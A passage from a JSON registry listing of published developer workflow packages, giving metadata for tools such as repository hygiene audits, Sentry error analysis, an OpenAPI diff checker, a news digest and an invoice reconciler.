verbatim.","owner":{"kind":"user","slug":"vrajsensei"},"registry_organization":"vrajsensei","tags":["claude-md","agent-notes","documentation-audit","repository","process","lies","repo","live","human","rules","apply","explore"],"primary_domain":"domain-uncategorized","author":"vrajsensei","version":"1.0.0","published_at":"2026-09-06T06:00:23.317221+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":17883,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":9,"names":["apply_rewrite","draft_and_diff","probe_side_rules","read_agent_notes","read_readme_head","probe_repo_layout","read_package_manifest","verify_claimed_commands","verify_protected_section"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the repository whose agent notes should be audited"},{"name":"doc_path","type":"string","required":false,"default":"CLAUDE.md","description":"Agent-notes file to audit, relative to root (CLAUDE.md, AGENTS.md, .cursorrules, ...)"},{"name":"apply","type":"string","required":false,"default":"false","description":"Exactly \"true\" overwrites doc_path with the verified rewrite; anything else previews only"},{"name":"protected_section","type":"string","required":false,"default":"## Human rules","description":"Heading of the human-authored section copied into the rewrite verbatim; the run fails closed if it is not byte-identical"},{"name":"work_dir","type":"string","required":false,"default":"","description":"Scratch directory for stage output and the drafted rewrite; defaults to a per-repository directory under the system temp dir so a preview leaves the repository untouched"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:257f199bdf583b6dfd3bc7f8b79775a53d78279d3e0d4c3550e51585fafc8e41","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":4,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rusty-chirag/analyze-sentry-errors-around-deployment@0.0.2","reference":"rusty-chirag/analyze-sentry-errors-around-deployment@0.0.2","uri":"https://play.modiqo.ai/rusty-chirag/analyze-sentry-errors-around-deployment@0.0.2","manifest_uri":"https://play.modiqo.ai/rusty-chirag/analyze-sentry-errors-around-deployment@0.0.2","name":"analyze-sentry-errors-around-deployment","title":"analyze-sentry-errors-around-deployment","description":"Analyzes Sentry errors around a deployment by comparing complete error counts before and after deployment and returning a limited set of representative error events.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","sentry","deployment","errors"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.0.2","published_at":"2026-09-06T05:30:18.760006+00:00","visibility":"public","quality_score":0.875,"size_bytes":6350,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["auth_sentry","compute_end","list_events","compute_start","list_projects","list_organizations"]},"parameters":[{"name":"environment","type":"string","required":true,"description":"Target deployment environment (e.g. production, staging)","example":"staging"},{"name":"deployment_time","type":"string","required":true,"description":"Deployment timestamp in ISO 8601 format","example":"2026-09-01T12:00:00Z"},{"name":"search_window","type":"string","required":true,"description":"Search window duration around deployment (e.g. 30m, 1h)","example":"45m"},{"name":"tags","type":"string","required":false,"description":"Optional comma-separated key=value filter tags (e.g. service=auth-service,release_version=v2.1.0)","example":"service=auth-service,release_version=v2.1.0"}],"execution":{"adapters":[{"id":"rusty-chirag/sentry","name":"sentry","version":null,"credential_status":"required"},{"id":"sentry","name":"sentry","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9d854ebe3f151d6acbed3cf8f52a66e01bf9c904e7533c4da7e97ea821c33245","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":3,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"sentry","steps":4,"methods":["listOrganizationProjects","listOrganizations","listProjectEvents"],"display_name":"sentry","host":"{region}.sentry.io","kind":"rest","tools":227,"fingerprint":"mcp_4EUn1WCofFjr11YHeAonfKAa3kEW","source":"rusty-chirag/sentry","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":227},"cost":{"api_tokens":1196265,"context_tokens":119941,"exploration_ms":33952,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/lgoyal6/gitignore-effectiveness@0.1.0","reference":"lgoyal6/gitignore-effectiveness@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/gitignore-effectiveness@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/gitignore-effectiveness@0.1.0","name":"gitignore-effectiveness","title":"gitignore-effectiveness","description":"Audits whether a repository's ignore rules still DO anything. Three findings: rules that match nothing at all (years of dead lines, split into a literal name that is simply not there any more and a glob that may be prophylactic, because those deserve different weight), files git is tracking despite a rule claiming to ignore them (the rule was added after the file was committed, so it does nothing), and directories ignored on paper that still hold tracked files. git itself decides every match - `git check-ignore -vz --no-index` and `git ls-files`, never a re-implemented matcher, because any re-implementation disagrees with git somewhere and every disagreement is an invented finding. A `!` negation re-including a tracked file is NOT reported, though git names it as the deciding rule. A rule is only called dead when its own ignore file is verifiably the file git names. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","repo-governance","job-repo-hygiene","tool-git","effect-read-only","gitignore","ignore-rules","dead-rules","tracked-files","check-ignore","repo-hygiene","audience-maintainers","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:16.952604+00:00","visibility":"public","quality_score":1,"size_bytes":21168,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the git work tree to audit. A relative path is refused, because a step runs in rote's own workspace and would inspect the wrong tree.","example":"/Users/you/src/your-repo"},{"name":"max_files","type":"string","required":false,"default":"60000","description":"Cap on tracked files put to git check-ignore. Exceeding it is reported as PARTIAL, never as a clean result.","example":"20000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1c221019b1bda168f71ca84e6feac72599ea9bd69873eef17c9b4a5bc75c870b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chaitanyagidwani/hackathon-idea-validator@0.1.0","reference":"chaitanyagidwani/hackathon-idea-validator@0.1.0","uri":"https://play.modiqo.ai/chaitanyagidwani/hackathon-idea-validator@0.1.0","manifest_uri":"https://play.modiqo.ai/chaitanyagidwani/hackathon-idea-validator@0.1.0","name":"hackathon-idea-validator","title":"hackathon-idea-validator","description":"Given a hackathon idea or problem statement, searches GitHub and Hacker News for real prior art (quoted names/links/descriptions), classifies matches as very-similar vs related-different-angle by keyword overlap, then generates a labeled draft pitch outline (problem, solution, differentiator supported only by the prior-art gap, suggested stack, 3-step demo script)","owner":{"kind":"user","slug":"chaitanyagidwani"},"registry_organization":"chaitanyagidwani","tags":["typescript","github","hacker-news","ideation","hn-algolia"],"primary_domain":"domain-uncategorized","author":"chaitanyagidwani","version":"0.1.0","published_at":"2026-09-06T04:39:56.983433+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":6894,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["hn_search","build_query","github_search"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Short hackathon idea or problem statement to validate (a sentence or two)"},{"name":"max_results","type":"string","required":false,"default":"5","description":"Max results to fetch per source (GitHub repos + Hacker News posts)"}],"execution":{"adapters":[{"id":"chaitanyagidwani/github","name":"github","version":null,"credential_status":"none"},{"id":"chaitanyagidwani/hn-algolia","name":"hn-algolia","version":null,"credential_status":"none"},{"id":"hn-algolia","name":"hn-algolia","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b60824613edc55d6438a2f58cd6ba08edd9617734c3a731e71a76722a78f8eb9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"github","steps":1,"methods":["search/repos"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1225,"fingerprint":"mcp_48s37xCaA2qkYf766itQQShSoUxA","source":"chaitanyagidwani/github","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"hn-algolia","steps":1,"methods":["search"],"display_name":"hn-algolia","host":"hn.algolia.com/api/v1","kind":"rest","tools":1,"fingerprint":"mcp_TfXVabYFK7QpuNkjTVcHeV5pcpG","source":"chaitanyagidwani/hn-algolia","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":2,"tools":1226},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/lgoyal6/port-collisions@0.1.0","reference":"lgoyal6/port-collisions@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/port-collisions@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/port-collisions@0.1.0","name":"port-collisions","title":"port-collisions","description":"\"Address already in use\" tells you a port is taken and nothing else. This reads every place a port is DECLARED - compose `ports:` in both forms, Dockerfile EXPOSE, Kubernetes containerPort/nodePort/hostPort, dev scripts, Makefiles, env files - and joins them into collision sets: which services want the same port, and which file each binding comes from. It also reports the other half nobody checks: a port a README tells you to open that nothing in the tree actually binds. Scope decides what can collide, so two containers on 8080 is normal and never reported, while two host publishes of 8080 is the reason the second stack will not start. Every pattern is anchored to a real convention, never to any number in range, and a `network_mode: host` service is named as a GAP rather than counted as clean. Nothing is executed and no socket is opened: it does not list listening ports and needs nothing running. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-infrastructure","operations-workflows","job-deployment-review","tool-docker-compose","effect-read-only","ports","port-collision","docker-compose","kubernetes","nodeport","dockerfile-expose","dev-scripts","readme-drift","documented-defaults","address-already-in-use","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-infrastructure","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:36:07.052039+00:00","visibility":"public","quality_score":1,"size_bytes":29113,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path of the directory to scan for port declarations","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4e1a46fb429272eeaeb1ee2ae2f7a875915c11d768e1afeb615ebc7411d78479","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":10,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/mutable-default@1.0.0","reference":"lgoyal6/mutable-default@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/mutable-default@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/mutable-default@1.0.0","name":"mutable-default","title":"mutable-default","description":"`def add(item, bucket=[])` reads as though bucket starts empty. It does not: the list is built once when the def line runs and every call for the life of the process shares it, so the second caller sees the first one's data. Five shapes, ranked by how close each is to corrupting something right now - a mutable default the body mutates AND hands back, one it only mutates, one it only hands out, one nothing touches yet, and the dataclass field whose default is a constructed object, which is the silent one because list and dict defaults now raise at class creation and a constructed object never does. The JavaScript analogue is a module-level literal used as a default, since `o = {}` there is fresh on every call and is NOT this bug. Every finding names the definition line and the mutation line. The =None rebind idiom and default_factory are counted as already correct, never reported. Executes nothing. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-mutable-default-audit","tool-static-analysis","effect-read-only","mutable-default","default-argument","dataclass","default-factory","aliasing","shared-object","python","typescript","javascript","audience-developers","audience-code-reviewers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:35:45.110514+00:00","visibility":"public","quality_score":1,"size_bytes":27686,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:373de6b38368b994be0e78cc6091dc05ff8c88d519d0ea188fd3f63b1f61b340","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/module-shadowing@1.0.0","reference":"lgoyal6/module-shadowing@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/module-shadowing@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/module-shadowing@1.0.0","name":"module-shadowing","title":"module-shadowing","description":"A file called types.py, queue.py or logging.py sits beside a script; running that script prepends its directory to sys.path; and from then on `import types` returns your file, surfacing as an AttributeError somewhere else that moves whenever import order moves. This finds files AND directories whose name can be resolved instead of a standard-library module or a declared dependency, in Python and in JavaScript or TypeScript, and reports for each one how many files in the tree import the real module and which ones. All the precision is in a single decision: is that directory ever on the module search path. A file inside a package is excluded and counted, because Python 3 absolute imports still reach the standard library. So are underscore-prefixed internals such as _types.py, and JS files with no tsconfig baseUrl or jest moduleDirectories, since Node never confuses ./path.js with path. Executes nothing. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-import-resolution-audit","tool-static-analysis","effect-read-only","module-shadowing","sys-path","import-order","stdlib-collision","namespace-collision","python","typescript","javascript","node-resolution","pytest-rootdir","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:09:24.305743+00:00","visibility":"public","quality_score":1,"size_bytes":26846,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e2a8370f0e46965478ccb31ae1b92727a1922cb377cfab6e206ed5a357a02618","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/daily-2min-digest@1.0.0","reference":"pathan-security/daily-2min-digest@1.0.0","uri":"https://play.modiqo.ai/pathan-security/daily-2min-digest@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/daily-2min-digest@1.0.0","name":"daily-2min-digest","title":"daily-2min-digest","description":"Daily 2-Minute Digest: zero-config, zero-API-key morning briefing that pulls the day's best signal from Hacker News, GitHub Trending, Reddit (r/programming + r/technology) and BBC/TechCrunch RSS via 100% free public APIs, filters clickbait, deduplicates, and renders a skimmable under-2-minute executive digest in terminal, markdown (Slack/Discord) or JSON. Personalize with topics (python,ai,web), sections and max-items. Built-in offline demo mode.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["news","digest","briefing","hackernews","github","reddit","rss","daily","productivity","tech-news"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-06T03:57:21.276464+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":36111,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["digest_run"]},"parameters":[{"name":"action","type":"string","required":false,"default":"digest","description":"Run mode: digest (live fetch from free public APIs) or demo (offline pre-written snapshot)"},{"name":"topics","type":"string","required":false,"default":"","description":"Comma-separated interest filters e.g. python,ai,web,rust"},{"name":"sections","type":"string","required":false,"default":"hackernews,github,reddit,rss","description":"Comma-separated sections to include: hackernews, github, reddit, rss"},{"name":"max_items","type":"string","required":false,"default":"5","description":"Max items per section (1-10)"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format: terminal, markdown, or json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:155aaf2d4313b10eb36472517f164661b9ffb8ee45390191b307b9cf8d48ffc0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sasivarnan/agent-outage-triage@0.1.0","reference":"sasivarnan/agent-outage-triage@0.1.0","uri":"https://play.modiqo.ai/sasivarnan/agent-outage-triage@0.1.0","manifest_uri":"https://play.modiqo.ai/sasivarnan/agent-outage-triage@0.1.0","name":"agent-outage-triage","title":"agent-outage-triage","description":"Classifies an AI-agent failure from a local log and optional project context without reading credentials.","owner":{"kind":"user","slug":"sasivarnan"},"registry_organization":"sasivarnan","tags":["agent-operations","diagnostics","local-first","privacy"],"primary_domain":"domain-uncategorized","author":"Agent Outage Triage contributors","version":"0.1.0","published_at":"2026-09-06T03:26:26.385137+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7060,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["triage"]},"parameters":[{"name":"log","type":"string","required":true,"description":"Path to a local agent failure log or copied terminal output."},{"name":"project","type":"string","required":false,"default":".","description":"Project directory to inspect for setup evidence; use . when no project context is needed."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fd41a98362e94e502f437fc110290aacb51e0b49e5009dc62fedd0db501b47ac","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/openapi-breaking-change-radar@0.1.0","reference":"ameykaulavkar/openapi-breaking-change-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/openapi-breaking-change-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/openapi-breaking-change-radar@0.1.0","name":"openapi-breaking-change-radar","title":"openapi-breaking-change-radar","description":"OpenAPI breaking change detector and REST API contract diff radar. Compares baseline and modified OpenAPI 3.0/3.1 specifications to detect removed routes, deleted HTTP methods, new required request parameters, and response schema type mutations with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-api-rest","job-openapi-differ","tool-breaking-change-radar","audience-developers","effect-read-only"],"primary_domain":"domain-api-rest","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:56:58.472548+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7592,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["openapi_spec_parser","endpoint_breaking_detector","openapi_versioning_advisor","response_schema_compatibility_bench"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to OpenAPI spec JSON file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:45fbf0f09c97a6095e9bab1de58a1dc58a7490768a04490d7d454c6aa5f6380f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rishith-c/ctr-watch@0.1.1","reference":"rishith-c/ctr-watch@0.1.1","uri":"https://play.modiqo.ai/rishith-c/ctr-watch@0.1.1","manifest_uri":"https://play.modiqo.ai/rishith-c/ctr-watch@0.1.1","name":"ctr-watch","title":"ctr-watch","description":"Watches landing pages — yours and your competitors' — and reports when one gets less persuasive. Renders each page in real Chrome, forecasts its call-to-action click-through from a six-network cortical response, and compares that with what it saw last time. Silent when nothing moved; exits non-zero when a page drops past your threshold, so a scheduled run only speaks when something is wrong. Writes nothing but its own baselines: one small JSON file per watched page, under ~/.rote/ctr-watch unless you point state_dir elsewhere. No credentials, no sudo, nothing deleted.","owner":{"kind":"user","slug":"rishith-c"},"registry_organization":"rishith-c","tags":["landing-page","ctr","conversion","monitoring","competitors","regression","scheduled","neuroscience"],"primary_domain":"domain-uncategorized","author":"Rishith Chennupati","version":"0.1.1","published_at":"2026-09-06T01:54:29.002715+00:00","visibility":"public","quality_score":1,"size_bytes":9488,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["gate","plan","compare","measure"]},"parameters":[{"name":"pages","type":"string","required":true,"description":"Pages to watch, comma-separated; scheme optional. At most 6 (the public API admits 6 anonymous runs a minute). Watch your own page and the competitors you want to be compared against."},{"name":"alert_drop","type":"string","required":false,"default":"0.30","description":"Alert when a page's forecast falls at least this many percentage points below its stored baseline. The run exits non-zero when any page crosses it."},{"name":"state_dir","type":"string","required":false,"default":"","description":"Where baselines are kept, one small JSON file per page. Empty means ~/.rote/ctr-watch in your own home directory."},{"name":"host","type":"string","required":false,"default":"https://precog-tau.vercel.app","description":"Forecast service origin; change only to point at your own instance."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2fa4e4a0cccc65089044d0ec14ef292478fb56ea2d17465b171afdb331fd0634","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":2,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"curl","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/prove-ticket/ghost-invoice@0.1.3","reference":"prove-ticket/ghost-invoice@0.1.3","uri":"https://play.modiqo.ai/prove-ticket/ghost-invoice@0.1.3","manifest_uri":"https://play.modiqo.ai/prove-ticket/ghost-invoice@0.1.3","name":"ghost-invoice","title":"ghost-invoice","description":"You billed someone. Did the money land? Point this at your invoice CSV and your bank CSV. It lists invoices that never got paid (ghosts), bank credits that match nothing (orphans), and near-matches where fees shaved a bit off (fee-fuzzy). Same rules every month. Reads the two files only. No QuickBooks. No bank login.","owner":{"kind":"user","slug":"prove-ticket"},"registry_organization":"prove-ticket","tags":["effect-read-only","read-only","rote-playoffs"],"primary_domain":"domain-uncategorized","author":"prove-ticket","version":"0.1.3","published_at":"2026-09-06T01:49:54.057803+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":11592,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["reconcile"]},"parameters":[{"name":"invoices_path","type":"string","required":true,"description":"Path to your invoices.csv"},{"name":"bank_path","type":"string","required":true,"description":"Path to your bank.csv"},{"name":"fee_tolerance","type":"string","required":false,"default":"0.03","description":"How close a bank amount can be and still count as a fee cut (0.03 means 3%)"},{"name":"date_window_days","type":"string","required":false,"default":"14","description":"How many days around issued_on or due_on still count as on time for matching"},{"name":"amount_currency","type":"string","required":false,"default":"USD","description":"Only match this currency (use INR or USD). Do not pass any. Other currencies get flagged, not converted."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:235793d21fd67edfc36a5ef17e18121ea060ac1b8808773222cbbb02e18801fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/unanswered-questions@0.1.2","reference":"lgoyal6/unanswered-questions@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/unanswered-questions@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/unanswered-questions@0.1.2